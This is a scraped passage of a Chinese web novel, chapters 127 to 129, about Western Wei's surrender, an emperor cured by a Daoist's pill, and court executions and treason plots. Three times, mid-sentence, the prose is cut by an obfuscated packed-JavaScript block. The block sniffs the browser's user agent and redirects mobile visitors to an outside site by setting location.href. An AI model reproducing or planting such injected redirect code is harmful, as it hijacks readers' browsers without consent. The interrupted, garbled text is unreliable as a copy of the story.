冯太傅苦涩道:“公主非是那等深闺妇人,难道看不出我西魏没有将来了,这乱世理当重武轻文,可如今那几个顶用的老的老,死的死,走的走,军中已无良将,到时候咱们要拿什么去抗击外敌?” 穆飞霜虽也有过此念头,可事到临头她又哪里能痛快接受,“我们还未到山穷水尽的地步,何须如此。” “若还有一丝希望,臣又如何愿意开这个口,公主,齐皇是怎么收服北梁和南楚的您也知道,这招太狠了,一边绝了招兵买马的财路,一边又笼络了那些贫民九流的心,现在那些地方任他肆意妄为,根本无力反抗,我西魏万不能步此后尘哪。” “可,可西魏情况和他们不一样,而且东齐也不一定能胜出,还有个中周在一旁虎视眈眈呢。” “中周要能成事早就成了,国土最大,军队最多,现在却沦落到要跟东齐相提并论,可见天命不在那里,而齐皇,势头正盛,他先后吞并两国,中周又是个最难啃的骨头,下一个目标定然是我们西魏。付常昊领着二十几万兵便无人可挡,待到一切安排妥当,百万大军挥师压境我们如何能是对手?真等成了亡国奴再想复国那便是千难万难,与其如此,还不如学那薛墨仁早些投降,用现有的筹码多争取些利益以保存实力,留得青山在不怕没柴烧。” “你,你的意思是……”穆飞霜猜到了他的想法。 冯太尉目露精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008121|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,“那齐皇一向体弱,寿数难长,而皇上现在还年纪还小,待他成年我们未必没有东山再起的机会。” 穆飞霜有些动摇,但还是十分担心,“可他虽身子比常人差些,这么多年也平安无事过来了,若少陵长大他还安然无恙,咱们岂不是弄巧成拙。” “先天之症自古就没几个人能治好,更何况咱们在东齐的暗探传回消息,那边的太医院每月都要购进大批珍贵药材,宫中没有其他后妃皇子,这药还能是谁用的,定是齐皇,他肯定撑不了多久的。” “这样……”穆飞霜忽地皱起眉头,也不知在想什么。 冯太尉见她还在犹豫,又劝道:“公主,这个决定确实很难,如果不是万不得已老臣又岂愿断我西魏国祚,可如今情势危急,咱们不得不防啊,真到大祸临头之日,那可就半点都由不得我们做主了。” 穆飞霜思量再三,答应了。 归降东齐一事自然是在西魏引起了轩然大波的。 一部分人默默接受,毕竟冯太尉会去劝说长公主也有他们的一份功劳。 一部分人,尤其是几位宗室王爷,完全不能接受。 “到底是个女人,头发长见识短,人家还没打过来这就怕了他们东齐!” “投降?男子汉大丈夫岂能投降,战至最后一人也不能降!” “我们可不做孬种!” 几个王爷立马竖旗而反,宣称不再听朝廷号令。 —— 东齐。 长忠笑着走进御书房,“陛下,西魏送来国书想要归顺东齐。” “真的?”萧素玄忙从长忠手里拿过国书,看完后喜不自胜。 长忠在一旁道:“不枉您专门找人去吓唬他们,还真成功了。” “人的本性就是自私啊,什么苍生大义,说起来当然轻松,真到了要割自己肉的时候一个个哪里舍得,朕还没打过去呢,这就迫不及待投诚了。” “说来也是薛王爷起了个好头,要不咱们也不会这么顺利。” “现在就差一个中周,那边怎么样了。” “那里可比西魏强得多,暂时找不到什么空子,不过朝臣们斗得厉害,依奴才看也不过是秋后的蚂蚱,得意不了多久。” 萧素玄闻言,笑容有些淡了,“木桪倒是一直没变,当断不断,必会受其乱的。” 长忠冷哼,“宸王也不是第一天这样了,一个儿子的姓氏而已,非要较真,现在可倒好,本来是他舅舅的人和云瑶皇后的人都向着他,如今那些妃子的父兄们想为自家人争宠,一个个都起了别的心思,几派对立闹得鸡飞狗跳,真不值当。” “闹吧,闹大了咱们才有机会。” —— 萧素玄回了一封国书给西魏。 穆飞霜望着那自五国会谈后便再没看见过的字迹,心中涌起万般感慨。 不过她并没有忘记正事,一收到答复,她便叫来几位心腹,交代他们好好守着朝廷,让幼弟留在皇城,而自己,动身前往东齐。 127. 苍狼求药 西魏归降,穆飞霜前来东齐皇都商量具体事宜,萧素玄没有出面,一应事务皆由姜丞相处理。 穆飞霜没见到他,失落之余不免又有些庆幸。 至少,我不用为西魏的得失与你针锋相对,萧公子。 而萧素玄,其实是病倒了。 皇宫。 苍狼望着躺在床上昏迷不醒的陛下,心里十分担心,“陛下怎么又病了。” 长忠苦着脸,“他什么时候好过。” “范道长,你法术精湛,真的没有办法治好陛下吗?” 天师府今日只有范闻道在,因而在太医无法诊断出病情后他就被请进了宫,可面对萧素玄的情况,他也是束手无策,“要有办法我还能拖到现在?” 范闻道忧心忡忡,他这身体本来就已到了极限,要不是忘尘子那颗上元丹早该垮了。 如今该怎么办,便是忘尘子愿意再耗十年修为,上元丹也只能用一次,除非是真正的仙丹…… 仙丹! 范闻道身形一闪,顷刻间出现在书桌旁,他提笔写下一封信交给苍狼,让他去找一位蓝湖道人。 苍狼半信半疑地带着信出京,在一处无人旷野拿出范闻道给的玉佩。 平平无奇的玉佩在注入灵力后闪起一道蓝光,苍狼只觉脚下一空,突然就掉进了水里。 他奋力挣扎,好不容易浮上水面,竟发现周遭环境已经截然不同。 苍狼游到不远处的岸边,惊讶地望着眼前这片看不到边的大湖,那湖中心还有一座小岛。 这就是范道长说的那个地方? 苍狼很奇怪,道馆不是都建在深山的吗,怎么这个是在湖中央的。 朝四周望望,苍狼发现了一艘小船,他走到上面,施法驱动船向湖中心驶去。 今日无风,快速前进的小船在水面上看着有些怪异,而船下,时不时略过黑色的影子。 苍狼一无所觉,专心地运功推动船只,一炷香后,他终于到达湖心岛,然而他脚才刚沾地,身后的水里就突然发出巨响,一股滔天水花溅起,一位小童随之出现,从半空跳了下来。 “不知狼族道友前来此处有何贵干。” 苍狼有些愣神,这是妖还是人啊,但很快他又反应过来现在不是纠结这种事的时候,忙递上信。 小童拿过信看了下,“请稍候。” 仅是一眨眼,小童便消失了,然后片刻又再度返回,道:“师祖有请。” “有劳。”苍狼跟着他往湖心岛深处走去。 湖心岛的最高处建有一座竹屋,苍狼在那里见到了一位有些胖的老者,他看上去比国师年纪还大,修为不明,面相莫名地有些……憨? “范闻道让你来的。”老者开口。 声音很低,气若游丝,一副要……失礼失礼,不能这么说人家,这可是得道高人。 苍狼忙摒除杂念,恭敬道:“是。” 老者盘腿坐于竹榻上,神色庄严,“他数年前帮了我的忙,我曾允他一个承诺,虽然所托之事有些麻烦,但一诺千金,这个人情我也不得不卖。” “多谢前辈……” “先别急着谢我。” “前辈?” “我等修道之人向来很看重因果,我这药送出去救的可是一国之君,干系重大必须谨慎。” “我家陛下乃是明君。” “那是你觉得,善与恶从来都只有一线之隔,他于你是好的,于整个天下就不一定了,若我今日救他一命,将来他却成了一个暴君,届时生灵涂炭我也得担一半责任。” “晚辈愿以性命保证,绝不会有此事。” “半只狼妖的命不值钱。” 苍狼正要再反驳,可老者却忽然挥了挥手,一旁的案桌瞬间被移到苍狼面前。 “将那人姓名与八字写下,贫道为他算一卦。”老者道。 苍狼有满肚子话想说,可现如今有求于人,他也不好做什么出格的举动,便乖乖写下了陛下的名字和生辰八字。 老者招手摄过桌上的纸,只是低头瞧了一下,那原本眯着的眼睛便猛地瞪大了。 苍狼感觉眼前的老者气息变了,如果之前还如一盏快要熄灭的油灯,现在就跟熊熊燃烧的火堆一般,亮得惊人。 “素玄?”老者的声音都变高了。 苍狼心里一咯噔,陛下这名字有什么不对吗? “他是不是特喜欢蓝色?”老者忽然问。 “啊?”苍狼显然不明白为什么会问到这个,愣了一下,道,“不,我家陛下喜欢青色。” “青色啊。”老者的声音又低了下去。 “请问是有什么事吗。”苍狼心里毛毛的。 “没有,只是这名字很像我一位故人,一时惊讶。”老者解释道。 还以为是那小子呢,吓了我一跳,也对,他怎么可能在人界。 老者接着又看向八字,问道:“你确定这是你家陛下的生辰八字?” “是。”苍狼回答。 “那你们还要帮他,这命格当了皇帝那定是天灾人祸不断,三五年就得灭国啊。” “道长您怎么说话呢。”苍狼感觉有些扎心,这真的是高人吗,怎么看起来这么不靠谱,“我家陛下担了国运,现在一切都好好的。” “不可能,凡人之躯担不了一国之运,更别说是负面反噬。” “仅有三成。” “三成也够受的了,他还没疼死?” “道长!” 老者原先严肃的表情彻底消失,他伸手揪了揪自己的胡子,“范闻道施的法?” 苍狼想了想,当初虽说有国师插手,但的确是范道长先布置的一切,“是。” “你家陛下脑袋被门夹了?” “咳咳。”一直在旁没说话的小童扯了扯老者的袖子,低声道,“注意风度,风度。” 老者似是反应过来,有些尴尬地道:“贫道是说,国运反噬的痛苦非常人所能忍受,更何况另外七成也足够一国之地民不聊生,你真的没记错?” 苍狼:“陛下招募了数位天师,平日里专门消灾解祸,至今安然。” “他们脑袋也被驴踢了?” “道长!”苍狼真的要生气了。 “老祖!”小童又去扯他,“别把心里话说出来呀,您是修道的世外高人,世外高人!” 苍狼:“……”他听得见。 老者又端起高人派头,“想不到你们国家还出了这么一群义士,实在令人钦佩,如此,贫道也不好再说拒绝的话。” “那多谢……” “别谢,我话还没说完!” 苍狼:“……”这道长莫不是乌龟修成的人形,说话怎么这么慢? “这命格差得离谱,贫道得算算他前世是什么人,别是上辈子造太多孽被阎君罚了,若是那样的话,就需要炼一副新药出来,好避开地府的探查。” 老者一挥拂尘,面前出现一盆水。 刚刚的纸无火自然,被老者丢了进去,片刻后,他伸头去瞧……刚见着一条蓝色的胖鱼,水忽得炸了。 “老祖!” “道长?” “贫道无事。”老者抹了把脸上的水,一甩拂尘,湿透的衣服又重新变干。 居然真的是那小子。 蓝湖从袖中拿出一瓶丹药对着前方扔了过去,“这是我炼的仙丹,他吃这个就行。” “多谢道……”苍狼正要道谢。 “先别急着谢我。”蓝湖打断他。 苍狼:“……”这道长脾气到底为什么这么怪。 “他虽说是人界帝王,但到底是个凡人,我这药最多保证他以后不再生病,身体弱症是没办法治愈的,国运反噬的痛苦也不能消除。” “足够了,谢……” “还有。” 苍狼:“……”说话能不要大喘气吗。 “嘱咐你家主上多休息少操劳,不然铁打的身子也受不了。”蓝湖道,但愿别走到最糟的结果,好歹相识一场,他还不想见那小子白受一番折磨。 苍狼立在原地。 “你怎么还不走?” “道长说完了?” “当然完了,快滚。”蓝湖一挥拂尘,将苍狼送回了东齐原地。 苍狼离开后,小童好奇地上前,“老祖,您怎么把那瓶药给他了。” “普通的药对他应该没什么用处,仙丹他一个凡人又虚不受补,那份炼废了的血参丹正好。” “但那血参可是天界的药材,就算炼废了,一个凡人也不能吃吧。” “旁人吃不了,他可以,毕竟不是贬下来的,从转生池入人界元神应该还带了一点仙力。” “您的意思是仙人转世?”小童恍然大悟,“呀,老祖,刚刚我好像看到水盆里出现了一条鱼,他该不会就是您常提起的疑似咱们族人的哥哥吧?” “就是他。” “命格很差吗?” “岂止是差。”蓝湖的语气有点恨铁不成钢,“小时候看着挺聪明的,长大居然变得这么笨,下个凡还能被阴,刚刚听那狼妖的口气他还挺受敬重,没变天煞孤星真是稀奇了。” “那您不帮他一把,怎么说也可能是咱们蓝鲸一族的呢。” “他要真是我族后辈,我倒有立场插手,但关键在于我不确定他是不是,贸然干预历劫会违反天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025070|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规,我还不想到天牢里走一趟。” “哦。”小童收回建议,他也不想老祖去吃牢饭,“那老祖,他的事就这么着了吗?” “年轻人嘛,吃点苦受点磨砺也没什么不好,区区百年,很快就过去了。”蓝湖道。 “也是。”小童点点头。 虽然话说得轻松,但蓝湖不免还是陷入了沉思。 素玄怎么会下人界的,一千多年了,他终于修到地仙境了? 青黛真是糊涂了,素玄下界该紧紧盯着司命殿才是,怎么叫人钻了空子? 莫不是天后?虽说情敌相见分外眼红,可素玄只是青黛的养子,她不至于气量小成这样吧。 多年前,蓝湖居住于碎星湖,与青黛素玄也算得上是邻居,不过那次雷劫之后他就靠着法宝下了人界躲清静,两耳不闻窗外事,再不知母子俩踪迹。 没想到再见,不,是再听到他的消息,竟会是这般情况。 素玄……其实关于素玄,有个问题已经困扰蓝湖好久了。 这素玄本体究竟是什么呢? 要说是蓝鲸,远观还挺像,但近看其实有很多地方都不相同,而且太小了,一百多岁个头还赶不上他半条尾巴,可归到普通鱼吧,又太大了。 青黛到底是从哪把他抱回来的,怎么问都不肯透露,不就是灵体嘛,有什么好遮遮掩掩的,谁家还没几个不成器的。 而且当年那场雷劫也很怪,怎么看怎么像化形雷劫,就是这威力过于大了,他好不容易搭起来的养老洞府直接给劈得干干净净,灵体化形哪能闹出那种动静。 到底是什么呢……蓝色的,长得又像鲸鱼,能二次化形……六界体型能赶得上蓝鲸的海族真的屈指可数。 虎鲸?圆滚滚的倒有几分相似,可虎鲸有背鳍啊,没有鳞片,更不会一百岁了还是个小不点。 巨齿鲨?不对,这一族人形都挺磕碜的,连海妖女王那样的绝色都没能把儿子那张脸变得顺眼几分,素玄长得挺好的,应该不是。 鲲鹏?虽不知具体模样,可传闻那是遮天蔽日的大。青黛跟天帝倒是有过一段,年纪还对得上,可问题是鲛人一旦产子必定修为大跌,没个千八百年是补不回来的,那青黛怎么看也不像是实力受损的样子。 蓝湖百思不得其解。 说起来当年和素玄第一次的见面,正是因为他散步时感受到了一股至刚至阳的火焰之气,那灼热的灵息像极了某个脾气暴躁的损友,本以为是故人来到,可等他走过去,却只见到一条胖鱼在跟一只海豹打架。 从海里打到岸上,招式拙劣得很,变成人形后果然都是小孩子,尤其是那条蓝色的鱼,被按在地上一脸不服输的样子还真跟太曦特别…… 等等,太曦! …… “太曦,妖界三大美人都为你神魂颠倒,真是叫小弟我羡慕嫉妒恨哪。” “说得好像没有姑娘给你送情书一样。” “唉,对我表露爱意的都是些实力低微的小妖,与其说是喜欢我,不如说是喜欢我的实力,都是些庸脂俗粉,没意思。” “就你还好意思挑三拣四啊。” “老子堂堂蓝鲸一族族长,上神之尊,怎么不能挑了,可惜呀,我都瞧不中。” “那你瞧得中什么样的。” “漂亮,强大,温柔贤惠的。” “这么好的姑娘早被人追走了,还会留着给你?做梦呢。” “所以才要慢慢找嘛,唉,这世上有眼光的怎么这么少,你看我洁身自好从不拈花惹草,为人正直四处行侠仗义,怎的没有美人投怀送抱呢。” “其实吧,这样的倒也不是没有……蓝湖,我有个妹妹,修为与我相当,长得也跟我颇为相似,性情单纯,你要是有信心打动她,我可以给你个机会。” “嘶——,这话听着有些耳熟,太曦,你……不会是个女的吧。” “你想找打?” “哎呀,前两天咱们听的那出戏是怎么唱的来着,‘我家有个小九妹,聪明伶俐人钦佩……’” “滚!狗嘴里吐不出象牙。” “啧啧啧,其实不无可能啊,你看你这小白脸的样子,说是女扮男装也有人信的。” “蓝湖!信不信老子一拳把你变成烤鲸鱼!” “开个玩笑而已,看你这暴躁的模样,估计你妹妹也是个母老虎,我可消受不起……哎哎哎,你来真的,救命啊,太曦上神谋杀亲友啦!” “给我站住!” …… 太曦的妹妹不就是…… 蓝湖噌地站了起来,把旁边小童吓了一跳,“老祖?” “你留在这里看家,我回天界一趟。” 128. 接连归位 萧素玄吃下苍狼带回的丹药后身体果然好了很多,再不见往日的病弱之态。 穆飞霜签下降书,西魏正式归入东齐。 虽有几个西魏皇族不服,但也没掀起多大风浪,都没用到付常昊,仅乔东鸣一个断臂之将就打得他们丢盔卸甲。 几人眼瞧着穆飞霜他们姐弟俩得了个异姓王的爵位,荣华富贵还继续享着,就连名声也没有臭到家而是毁誉参半,自己却要强撑着西魏正统的虚名,心里非常不是滋味,终于也一个接一个失去斗志,放弃了抵抗。 至于中周这边,朝廷党派之争愈演愈烈,最终以查出了先帝驾崩真相而结束。 首辅苏恒黎倒台。 刑场。 昔日高高在上的内阁首辅如今被五花大绑押在断头台,看热闹的百姓将这里围了个水泄不通。 望着下方那一张张陌生而兴奋的脸,苏恒黎满目悲哀,他的好友旧部们现在或许都被抓了吧,也不知何时要步他后尘。 “大概这就是报应。”大难临头,苏恒黎并不害怕,只是有些不甘心,“我饱读圣贤书,却未遵圣贤言,为了争权夺利让双手沾满鲜血,如今……也是天理循环。” 午时将至,有一人从远处匆匆跑来,对着监斩官说了几句话后,他被放了过来。 “戚兄。” 戚亘工眼含热泪,不舍地看着他,“苏兄,你为何要这么做啊,逆谋弑君可是诛九族的大罪!” 苏恒黎告诉他:“忠君爱国乃为臣本分,可我忠的,不是那个篡位的贼子,便是他在龙椅上坐了十几年,也不会是我的君主。先帝枉死,那几个王爷都脱不了干系,我爹临终之前最遗憾的就是没能找出真正的凶手,以报君恩。可时间久远,我实在查不到什么有力的线索了,既然找不出主谋,那索性我就把所有跟这件事有关的都给杀了,一个不留,顺便斩草除根,正好给公主铺路。” 戚亘工万没想到是这样的原因,可知道又如何,一切已无法挽回,“你为父亲的旧主报仇,皇上为他的舅舅报仇,冤冤相报何时了。” “我知道我罪有应得,可我不后悔。”苏恒黎只恨自己太不谨慎,竟被人挖出了这件事,“戚兄,成王败寇本就寻常,落得今日下场我不怨任何人,但有一事我一直放心不下,不知你愿不愿意帮我。” “你还有什么未了之愿尽管说,只要我能做到,一定尽力帮你完成。” “我在这世上没什么牵挂了,唯一担心的就是公主和她的孩子。” “公主?” “那萧木桪终究不姓纪,从前他跟那个姜夙月不清不楚的我就觉得此人非是良配,偏偏公主铁了心要嫁他。结果登上皇位才多久啊,他就扛不住纳了妃,本来他要是肯让长子姓纪,承我中周香火也罢了,可他竟不愿意,连太子都不肯立。这分明就是在等着日后其他妃嫔诞下皇子,好将公主一脚踢开,公主那样单纯,定不会是对手。”苏恒黎恳求道,“看在我们多年的交情上,你帮我保护好她们母子,求你了。” 戚亘工心知自己没那个能力,但想着如今苏兄除了他也没有旁人可托,便硬着头皮答应下来,“好,我必竭尽所能。” “午时已到!”监斩官喝道。 官差过来将戚亘工拉下了断头台。 “苏兄!” 苏恒黎闭上眼,坦然等着刀锋的落下。 “咔嚓!”雪白的刀刃染上了鲜血。 天上不知何时飘起了雪花,一点点将那颗被斩下的头颅覆盖。 “怎么有雪?”“只有这边在下。”“六月飞雪,这是有天大的冤情啊。” 围观的百姓们本是来看贪官奸臣人头落地的,不想却碰到这么件怪事,一个个嘀咕起来。 不久后,此事传遍了整个皇城,物议沸腾。 —— 苏恒黎的事在东齐朝中也引起不少议论。 “依你看,此事是真是假?” “苏恒黎位居首辅,大权在握,如果没有确凿的证据,想定他的罪可不容易,想来是真的。” “那是对是错?” “从道义上来说是没错的,不过作为君主嘛,此举未免有些令人寒心。当初他一个驸马能坐上中周龙椅,反对者可不少,这些年都是这位苏首辅一个一个地把人清扫了,为此多番遭遇刺杀,听说有两次还伤重垂危,险些性命不保。如今位子稳了他就算起旧账,还满门抄斩这么不留情面,实在是……有过河拆桥之嫌。” “未必,苏恒黎与其说是帮着他,倒不如说是帮着那位云瑶皇后,听闻自皇长子出生,苏恒黎屡次提起立储之事,态度有些急。” “你是说……他怕苏恒黎拥立幼子上位,所以先下手为强?” “合情合理。” “我虽未见过这位宸王,不过他名声一直不错,不论是在东齐还是在中周,都没有人提过他心狠手辣,应该不至于。” “或许是会演戏呢。” “可陛下也是这般认为的,能在陛下眼皮子底下演戏可不容易,若真有此心计,当初也不至于被逼得远走他国吧。” “倒也是。” “算了,无论如何此事对我东齐都是天大的好消息。” “不错,贪狼已死,现在又没了苏恒黎这根定海神针,中周朝堂半年之内必乱。” “咱们只需静候时机。” —— 转生池。 透骨的寒气钻入肺腑,值守仙官被冻得发抖。 “这么冷,难道是恒黎仙君要回来了?” “不会吧,这才多久,仙君怎么可能这么快就上来。” “什么不会,墨奎少主、炽翎少主、贪狼星君都没能在人界待多久,现在谁死回来我都不奇怪了。” 正说着呢,池水上空忽然飘起片片雪花,一道身影在池边慢慢显现。 值守仙官上前打招呼,“恒黎仙君你回来了,仙君?” 恒黎记忆恢复,天人两界感情交织,一时无法释怀,身边的声音也根本听不见。 “公主……木桪……”他沉浸在自己纷乱的思绪里,深一脚浅一脚地走了。 两个值守仙官奇怪不已。 “怎么了这是?” “不知道啊?” “凡间到底怎么了?贪狼元帅哭着回来,就连恒黎仙君也是一副如丧考妣的样子。” 没过一会儿,转生池又上来一人。 “仙君有些面生,不知名讳是?” 亘工捂着胸口,回道:“鲁班门下,亘工,还请这位仙官转告天后,小仙有负所托,但我真的已经尽力了。”话说完,他也深一脚浅一脚地走了。 一直值守转生池什么都不知道的两人面面相觑。 “不是下去平定战乱的吗,怎么回来全是这副半死不活的模样?” “要不咱们也去看看。” “那这里?” “再找两个人来就是了。” 那一边,亘工脚步虚浮地来到一处角落,给崇文仙君发了张传信符,“崇文老哥,你不是说大公子跟云瑶公主会是一派的吗,怎么还敌对了,我真被你坑惨了。” 亘工想到自己一生心血化为乌有,只觉做了一场十分可怕的噩梦。 “这等奇技淫巧谁会在乎。” “放着正路不走整天钻研这些歪门邪道,我们儒生的脸都给你丢尽了。” “下九流的匠人之道也配跟国家大事相提并论。” “瞧瞧这些画的都是什么,箭弩,真当自己是鲁班再世了。” “便是那鲁班也不过是个木匠,也就那些无知小民拿他当个人物,文不能兴国,武不能安邦,有何用啊。” “首辅大度,连这种人都愿意养着。” “那不是在效仿孟尝君吗,鸡鸣狗盗关键时候也能有用处嘛,不过也就只能是鸡鸣狗盗了,哈哈哈哈。” …… 亘工心口隐隐作痛,“我这哪是去帮忙的,根本就是历劫啊!” —— 不过半年,苏恒黎一党便被清除殆尽。 戚亘工虽官位不高,但因平日里与苏恒黎走得太近,也免不了被革职抄家。 据说戚府被抄那天,前去查封的官差们心情很不好,又见戚亘工胡搅蛮缠想要拿走书房一堆鬼画符的废纸,便一把火将那些东西全烧了。 戚亘工望着熊熊燃烧的书房,当场心症发作,就此去世。 得知戚亘工离去的消息,温兴邦穿上素服,一个人落寞地来到城楼。 傍晚,苍狼找了过来,“有人禀告说温大人爬上了西城的城楼顶,还一身麻衣素服,似乎要想不开,我说大人,你好端端的干嘛来这。” “戚兄出事了。”温兴邦道。 “谁?” “戚亘工,我在南楚的至交。” 苍狼觉得这名字有点耳熟,“他怎么了?” “苍狼统领忘了吗,当年榆山城我投靠了陛下,他被苏恒黎接去了中周啊。” “是他。”苍狼总算想起来了,“受谋逆一案连累?” 温兴邦点点头。 苍狼对那人印象不好,但考虑到温兴邦为陛下效力多年,他也不好说什么难听的话,便道:“官场就是这样了,祸福只在旦夕之间,是被砍头还是流放?” “只是抄家革职,不过你也知道,阎王好见小鬼难缠,那些官兵在他家四处搜刮,结果一点贵重东西都没找到,恼怒之下就将他的书房的那些绘图文稿全都烧了,戚兄心疾突发,当场就没了。他的书童托老家的人递了信给我,说戚兄尸身埋在了我们当初分道扬镳的那座山上,请我有空去看看。” “节哀。”苍狼只能这么说。 “那个傻子,我还想等陛下一统江山之后好好地去嘲笑他一番的,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038025|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果竟成了这样。他那个人向来不爱钱财,只喜欢钻研那些机关之术,明明才学盖世,却偏偏不务正业,可即便如此,他在南楚也照样光辉夺目。我以为他去了中周,怎么着也能一展所长,就算做不到名垂青史,至少也不能把命都给丢了吧,那些可都是他的心血啊,就这么付之一炬,他怎么受得了……” 苍狼安慰地拍了拍他的肩膀,“喝酒吗,今日我陪你大醉一场如何?” 温兴邦从一旁拿出一个酒壶,苍狼这才发现原来这人带了酒的。 酒气弥散,温兴邦对着苍狼说起自己的往事。 “我虽为家中长子,却是父亲微末之时所出,后来,父亲官越做越大,看乡下的糟糠妻也越来越不顺眼,母亲不知是积劳成疾还是忧思过甚,在我三岁那年去世了。父亲高高兴兴地再娶,而我,就被丢在旧宅交给叔伯们照顾。” “我们家隔壁住了一位告老还乡的翰林,他亲朋俱散孤身一人,闲着无聊便常来教我读书,还为我取了表字,兴邦,他说男子汉大丈夫当胸怀凌云志,兴国安邦,人生苦短,纵有不平也需守住本心,切不可把时间都浪费在鸡毛蒜皮的琐事里。” “我在温家旧宅长到九岁,继母的两个儿子因病去世,父亲终于想起了我,将我接到身边抚养,可两年后,继母又有喜了,还产下一子,我又成了个有爹胜似没爹的野孩子。好在这回我没被送回旧宅,反而因为无人管束结识了戚家三少爷,戚亘工。” “他呀,从小就是个神童,刚学会走路就开始捣鼓那些小玩意,可他爹不许他玩物丧志,为了应付长辈,他跑去参加科举,十三岁就考中乡试头名,成了举人老爷,堵住了所有人的嘴,然后又一门心思钻研机关之术。他说那些锦绣文章打不了仗,救不了百姓,他要造一支傀儡大军,横扫天下,再不用那些士兵们拿命去拼。” “金铁木石能做之事,何须血肉之躯来抵,我被这句话打动,就这么跟他成了无话不谈的朋友。” —— 中周动荡不安,东齐却是安宁得很。 苍狼顺利接任禁军大统领一职,担负起保卫整个皇宫的责任,张重靖也当上了礼部尚书,因宗正寺被萧素玄裁撤,一应事务归到礼部,他也因此接触到了许多以前不知道的东西。 夜半时分,京城张府。 张重靖迎来了一个意想不到的客人。 “你说什么?”张重靖震惊地望着眼前人,觉得自己的耳朵一定出了问题。 “只要萧素玄死了,天下马上就能一统!”逸尘子满面疯狂,“张大人,我听说你以前是周皇的伴读,感情很深对不对,只要你肯帮这个忙,一切就都结束了。” 张重靖怒火中烧,“你知不知道你在说什么,你竟要我背主投敌?别以为你是国师的师兄,会些仙家手段我就怕了你,我张重靖就算是死,也不会做这等卖主求荣之事!” “这不是卖主求荣,这是为苍生大义做出牺牲!如今五国只剩下东齐和中周,不论他们两兄弟谁坐上皇位,天下都是姓萧的不是吗?既然如此,何不用最简单的办法结束这局面,也免得生灵涂炭。萧家已经没人了,萧素玄一旦驾崩,能继承东齐的只有萧木桪,到时候两国合并理所当然,用一人换世间太平再合适不过,我求你为天下苍生着想,帮我们一把,所有人都会感激你的。” “你说什么胡话,如今东齐已经吞并三国,一统江山就在眼前,我岂能猪油蒙了心在背后捅刀子?大义,既然是为了大义怎么不叫你家周皇自请归顺,到时候这天下还不是顺顺利利地就太平了!” “可萧木桪才是天命所归的帝星!”逸尘子已经走投无路了,“天命如此,最后赢的一定是他,即便如今齐皇占据了优势,可最后还是逃不开宿命的,这仗继续打下去也不过增加无谓的杀戮,你就忍心看那么多人因为这兄弟二人的争斗而死于非命吗?” “什么帝星,我才不相信这种虚无缥缈的东西,我只知道我是东齐之臣,绝不可背弃君上,道长还是请回吧。” “张大人,我知道你是个忠义之士,但明君也就罢了,昏君也值得你昧着良心效忠吗?这么多年了,那萧素玄是个什么人难道你还看不清?他虽常做着伪善之举,但小善焉能抵大恶,他性情暴虐,对百姓根本没有怜悯之心,灭其他三国更是手段阴险,要是让这样的人当上了天下之主,对万民来说无疑是灭顶之灾。而周皇不一样,他是真的仁厚,性情温和,他才是明君之选,你真的一点都不肯为苍生考虑考虑吗!” 张重靖忽地愣住了,脑海中闪过一幕幕的场景,那些愤怒、失望、伤心……犹在眼前,最终,停在了前几日无意中得知的那两件真相上。 逸尘子见张重靖这副表情,心下暗喜,有戏,连忙趁热打铁,“齐皇很信任你,只要你肯帮忙,一切都会顺利的。” 张重靖心中思绪繁杂,面上也浮现了挣扎之色,“我,我……” 129. 友情缘尽 五日前,未央宫。 橙冬一进门就见自家主子正对着一个半开的木箱发呆,她走上前去,“娘娘,您干什么呢。” 姜夙月回过神,道:“今日清点库房发现了这个箱子,我都没注意原来它跟着嫁妆一起被送进了宫。” “这些都是什么呀。”橙冬仔细瞧了瞧,发现自己完全没印象。 “都是素玄送我的生辰礼物。” “这么多?您这是把陛下送的东西都收在这了吧。”橙冬好奇地拿起一把扇子,“好精致呀。” 望着她手中的扇子,姜夙月眼前闪过些许回忆,“那年我见户部尚书家二小姐的折扇十分漂亮,宴席上便多看了两眼,没想到隔月生辰素玄就送来了这把扇子。” “陛下挺细心的嘛。” “以前我觉得这些礼物虽然寒酸,平日里用不上,但怎么说也是素玄的一片心意,便都好好地收起来了,可今日再看,我才惊觉原来所有东西都是我曾经想要的。”姜夙月感觉心里有种说不清道不明的酸涩,“明明我没跟任何人说过。” “那说明陛下从小就喜欢着您呀。”橙冬又去扒拉其他东西。 “是啊,我和素玄……也是青梅竹马呢。”姜夙月喃喃道。 “这是……娘娘,您怎么还留着这个!”橙冬忽然惊叫一声,可说完又忙朝外面望了望,见没有旁人才松了口气。 姜夙月思绪被打断,她望向橙冬,发现她正拎着一件蓝色的衣服不可置信地看着自己。 “这个啊。”姜夙月伸手拿过衣服,“那时候满心愤恨,一心盼着能抓到那个贼人,它算个重要线索,只是这么多年过去,也没什么意义了。” 